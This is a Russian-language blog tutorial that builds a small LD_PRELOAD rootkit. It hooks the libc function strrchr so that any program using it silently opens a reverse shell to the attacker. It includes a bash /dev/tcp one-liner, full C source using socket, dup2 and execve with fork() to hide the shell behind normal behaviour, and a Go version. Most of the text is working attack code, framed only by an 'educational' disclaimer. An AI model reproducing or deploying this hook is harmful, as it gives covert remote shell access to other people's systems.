Замещение функций через LD_PRELOAD

Дисклаймер: все описаное в статье является моим экспериментом и сделано в ознокомительных целяхa, автор не несет ответсвенности за ваши действия.

Ввведение

Недавно я озаботился вопросами информационой безопасности и в целях освоения информации решил сделать простенький руткит для реализации reverse shell. В статье будет описано что такое reverse shell и как его можно вызвать через перезагрузку функций в стандартной библиотеке в ОС Linux.

Что такое reverse shell

Reverse shell или Бэдконнект это схема взаимодействия с удаленным компьютером, при которой этот самый (атакуемый) компьютер будет клиентом и, соответвенно, будет сам устанавливать соедиенеие с нашим сервером. Основная опасность в том что если наш сервер будет поднят например на 80 порту, то это позволит с определнной долей вероятности обойти плохо настроенный файервол.

Самый простой способ реализовать бэдконнект это использование nc и bash.

Для этого на сервере (компьютер атакующего) нужно вылонить:

nc -nvlp 80

На клиентской машине (атакуемый компьютер) необходимо выполнить:

/bin/bash -i >& /dev/tcp/SERVER-IP/PORT 0>&1

Это команда делает следующее: запускает интерактивный shell (/bin/bash -i) далее происходит редирект stdout и stderr (>&) в сетевое tcp соединение с SERVER-IP:PORT последняя команда (0>&1) перенаправляет файловый дескриптор для ввода stdin в stdout, который уже работает с удалленым сервером.

Надо отметить что если есть необходимость закрыть окно поле запуска этой команды нужно ее чуть чуть модернизировать:

/bin/bash -c "/bin/sh -i >& /dev/tcp/SERVER-IP/PORT 0>&1 &" && exit

В итоге можно увидеть следующее:

пример reverse shell

Что такое LD_PRELOAD

LD_PRELOAD - это переменная окружения, которая позволяет загрузить любую библиотеку раньше любой другой включая библиотеку libc.

Например команда:

LD_PRELOAD=/path/to/lib top

загрузит сначала заданную библиотеку, а потом запустит команду top.

Получение списка системных вызов у программы в Linux.

Чтобы получить информацию о системых вызовах необходимо использовать утилиту strace или ltrace.

Например давайте посмотрим какие функции вызывает утилита date:

ltrace date

В результате будет видно что-то типа:

root@linux-stand:~/shares# ltrace date
strrchr("date", '/')                             = nil
setlocale(LC_ALL, "")                            = "ru_RU.UTF-8"
bindtextdomain("coreutils", "/usr/share/locale") = "/usr/share/locale"
textdomain("coreutils")                          = "coreutils"
__cxa_atexit(0x55da38e4b990, 0, 0x55da38e62248, 0x736c6974756572) = 0
getopt_long(1, 0x7ffd0e229518, "d:f:I::r:Rs:u", 0x55da38e61260, nil) = -1
nl_langinfo(0x2006c, 0, 0, 0)                    = 0x7fd5f5512b1d
getenv("TZ")                                     = nil
malloc(128)                                      = 0x55da3a6e0400
clock_gettime(0, 0x7ffd0e229350, 1, 0x55da3a6e0400) = 0
getenv("TZ")                                     = nil
localtime_r(0x7ffd0e229280, 0x7ffd0e229290, 0x55da38e5a10d, 13) = 0x7ffd0e229290
strcmp("", "MSK")                                = -77
strlen("MSK")                                    = 3
memcpy(0x55da3a6e0409, "MSK\0", 4)               = 0x55da3a6e0409
strftime(" \320\241\321\200", 1024, " %a", 0x7ffd0e229290) = 5
fwrite("\320\241\321\200", 4, 1, 0x7fd5f56d0760) = 1
fputc(' ', 0x7fd5f56d0760)                       = 32
strftime(" \320\274\320\260\321\200", 1024, " %b", 0x7ffd0e229290) = 7
fwrite("\320\274\320\260\321\200", 6, 1, 0x7fd5f56d0760) = 1
fputc(' ', 0x7fd5f56d0760)                       = 32
fwrite("24", 2, 1, 0x7fd5f56d0760)               = 1
fputc(' ', 0x7fd5f56d0760)                       = 32
fwrite("11", 2, 1, 0x7fd5f56d0760)               = 1
fputc(':', 0x7fd5f56d0760)                       = 58
fwrite("27", 2, 1, 0x7fd5f56d0760)               = 1
fputc(':', 0x7fd5f56d0760)                       = 58
fwrite("36", 2, 1, 0x7fd5f56d0760)               = 1
fputc(' ', 0x7fd5f56d0760)                       = 32
strlen("MSK")                                    = 3
fwrite("MSK", 3, 1, 0x7fd5f56d0760)              = 1
fputc(' ', 0x7fd5f56d0760)                       = 32
fwrite("2021", 4, 1, 0x7fd5f56d0760)             = 1
__overflow(0x7fd5f56d0760, 10, 0x29ccde70, 0Ср мар 24 11:27:36 MSK 2021
)    = 10
__fpending(0x7fd5f56d0760, 0, 0x55da38e4b990, 1) = 0
fileno(0x7fd5f56d0760)                           = 1
__freading(0x7fd5f56d0760, 0, 0x55da38e4b990, 1) = 0
__freading(0x7fd5f56d0760, 0, 2052, 1)           = 0
fflush(0x7fd5f56d0760)                           = 0
fclose(0x7fd5f56d0760)                           = 0
__fpending(0x7fd5f56d0680, 0, 0x7fd5f56cb760, 2880) = 0
fileno(0x7fd5f56d0680)                           = 2
__freading(0x7fd5f56d0680, 0, 0x7fd5f56cb760, 2880) = 0
__freading(0x7fd5f56d0680, 0, 4, 2880)           = 0
fflush(0x7fd5f56d0680)                           = 0
fclose(0x7fd5f56d0680)                           = 0
+++ exited (status 0) +++ 

Создание бибилиотеки с reverse shell

После ознакомления с необходимыми вводными можно сформировать следующую задачу: нужно создать библиотеку которая перед вызовом основной версии запустит бэдконнект.

Создание функции c инъекцией

Если взять пример из выше, можно увидеть что date использует функцию strrchr, ее и попробуем расширить.

Для этого необходимо написать небольшую библиотеку на C:

#define _GNU_SOURCE //нужно чтобы использовать RTLD_NEXT так как она не определена в pofix стандарте
#include <dlfcn.h>
#include <stdio.h>

// определяем альтернативное имя для strrchr()
char * (*orig_strrchr)(const char *str, int ch);

char *strrchr (const char *str, int ch) {

    // Сохраняем адрес оригинальной функции strrchr() в orig_strrchr()
    if(!orig_strrchr) orig_strrchr = dlsym(RTLD_NEXT, "strrchr");

    printf("inject\n");

    // вызываем оригинальную функцию
	return orig_strrchr(str,ch);
}

Если в кратце то мы реализуем функцию с сигнатурой аналогичной переопредяемой, после чего мы пишем произвольный код и затем вызываем оригинальную функцию. В коментариях даны пояснения о том как это работает.

Далее необходимо скомпилировать библиотеку следующей командой:

gcc -shared -fPIC ./inject.c -o inject_lib.so -ldl

В результате после компиляции можно увидеть следующее:

результат инджекта

После того как заготовка инъекции готова, осталось перед вызовом оригинальной функции добавить вызов бэдконнекта.

Для этого необходимо написать небольшую функцию на С, которая будет его вызывать:

#include <unistd.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>

#define REMOTE_ADDR "xxx.xxx.xxx.xxx"
#define REMOTE_PORT XXX

// функция для запуска reverse shell
void reverse_shell() {
    struct sockaddr_in sa;
    int s;

    sa.sin_family = AF_INET;
    sa.sin_addr.s_addr = inet_addr(REMOTE_ADDR);
    sa.sin_port = htons(REMOTE_PORT);

    // подключение к удаленному серверу
    s = socket(AF_INET, SOCK_STREAM, 0);
    connect(s, (struct sockaddr *)&sa, sizeof(sa));

    // перенаправление ввода/вывода в сетевое подключение
    dup2(s, 0);
    dup2(s, 1);
    dup2(s, 2);

    execve("/bin/sh", 0, 0);
}

Что делает данная функция не сложно понять из комментариев. Теперь добавим ее в нашу инъекцию, заменив вызов printf, на вызов reverse_shell. Полный код:

#define _GNU_SOURCE //нужно чтобы использовать RTLD_NEXT так как она не определена в pofix стандарте
#include <dlfcn.h>
#include <stdio.h>

#include <unistd.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>

#define REMOTE_ADDR "IP-ADDR"
#define REMOTE_PORT 80

// функция для запуска reverse shell
void reverse_shell() {
    struct sockaddr_in sa;
    int s;

    sa.sin_family = AF_INET;
    sa.sin_addr.s_addr = inet_addr(REMOTE_ADDR);
    sa.sin_port = htons(REMOTE_PORT);

    // подключение к удаленному серверу
    s = socket(AF_INET, SOCK_STREAM, 0);
    connect(s, (struct sockaddr *)&sa, sizeof(sa));

    // перенаправление ввода/вывода в сетевое подключение
    dup2(s, 0);
    dup2(s, 1);
    dup2(s, 2);

    execve("/bin/sh", 0, 0);
}


// определяем альтернативное имя для strrchr()
char * (*orig_strrchr)(const char *str, int ch);

char *strrchr (const char *str, int ch) {

    // Сохраняем адрес оригинальной функции strrchr() в orig_strrchr()
    if(!orig_strrchr) orig_strrchr = dlsym(RTLD_NEXT, "strrchr");

    reverse_shell();

    // вызываем оригинальную функцию
    return orig_strrchr(str,ch);
}

Если скомпелировать эту библиотеку и запусть, то получится следующее:

инъекция реверс шела

Реверс шел запустился, но как видно родительская функция у нас не вызвалась, и в глаза резко бросается не стандарнтое поведение. Чтобы этого избежать, соедиенеие с сервером для реверс шела необходмио запустить в отдельном потоке с помощью fork:

...

char *strrchr (const char *str, int ch) {
    ...
    
    // запускаем бэдконект в отдельном процессе
    if (fork() == 0)
        reverse_shell();
...

Так как в Unix все процессы представлены в виде дерева и после завершения родительского процесса, дочерний процесс не завершит работу, а поднимится в иерархии на узел вверх, то получится что код будет работать как нужно.

Теперь после запуска можно увидеть следующее:

инъекция реверс шела в отдельном процессе

Тут видно что реверс шел запустился (справа), а исходная программа отработала как и ожидалось.

Исходный код библиотеки здесь

Инъекция с использованием Go

В предыдущем разделе я показал “классический” пример инъекции сделаной на С, но это не означает что это нельзя сделать на другом языке.

В данном разделе я покажу как сделать аналогичную функцию на Go. Для этого понадобится библиотека dl для работы с динамическими библотеками в Go.

package main

import (
	"C"
	"fmt"
	"github.com/rainycape/dl"
	"log"
)

// функция main должна обязательно быть в динамической библиотеке
func main() {}

//export strrchr
func strrchr(s *C.char, c C.int) *C.char {
    
    // запускаем инъекцию в отдельной горутине
	go startReverseShell()

	// загрузка родительской библиотеки
	lib, err := dl.Open("libc", 0)
	if err != nil {
		log.Fatalln(err)
	}
	defer lib.Close()

	// получение адреса оригинальной функции
	var old_strrchr func(s *C.char, c C.int) *C.char
	lib.Sym("strrchr", &old_strrchr)

	// вызов оригинальной функции
	return old_strrchr(s, c)
}

func startReverseShell() {
	fmt.Println("Start inject")
}

В данном коде я расставил подробные коментарии, чтобы было понятней на какой стадии что происходит.

Для открытия бэдконнекта необходимо просто заменить код startReverseShell на следующий:

func startReverseShell() {
	c,_:=net.Dial("tcp","127.0.0.1:1337")
	cmd:=exec.Command("/bin/sh")
	cmd.Stdin=c
	cmd.Stdout=c
	cmd.Stderr=c
	cmd.Run()
}

В этой функции, как и раньше, открывается сетевое соединение и дальше ввод/вывод перенаправляется в него.

Оличие от реализации на С, в том что тут мы не используем потоки ОС и поэтому после завершения родительской программы соединение с сервером будет закрыто, так как горутина завершится вместе с программой.

Полный код библиотеки здесь

Команда для компиляции:

go build -buildmode=c-shared -o inject_lib.so main.go

Заключение

Выше я описал самый примитивный пример вызова реверс шела через инъекцию с помощью LD_PRELOAD, в итоге задача оказалось довольно простой в реализации и получен позитивный опыт. Для написания подобного ПО также не нужно сильно знать С, а использовать более высокоуровневые языки.

Еще раз отмечу что это был образовательный проект и за применение полученных знаний ответсвенность будет полностью на вас.

Ссылки

 
comments powered by Disqus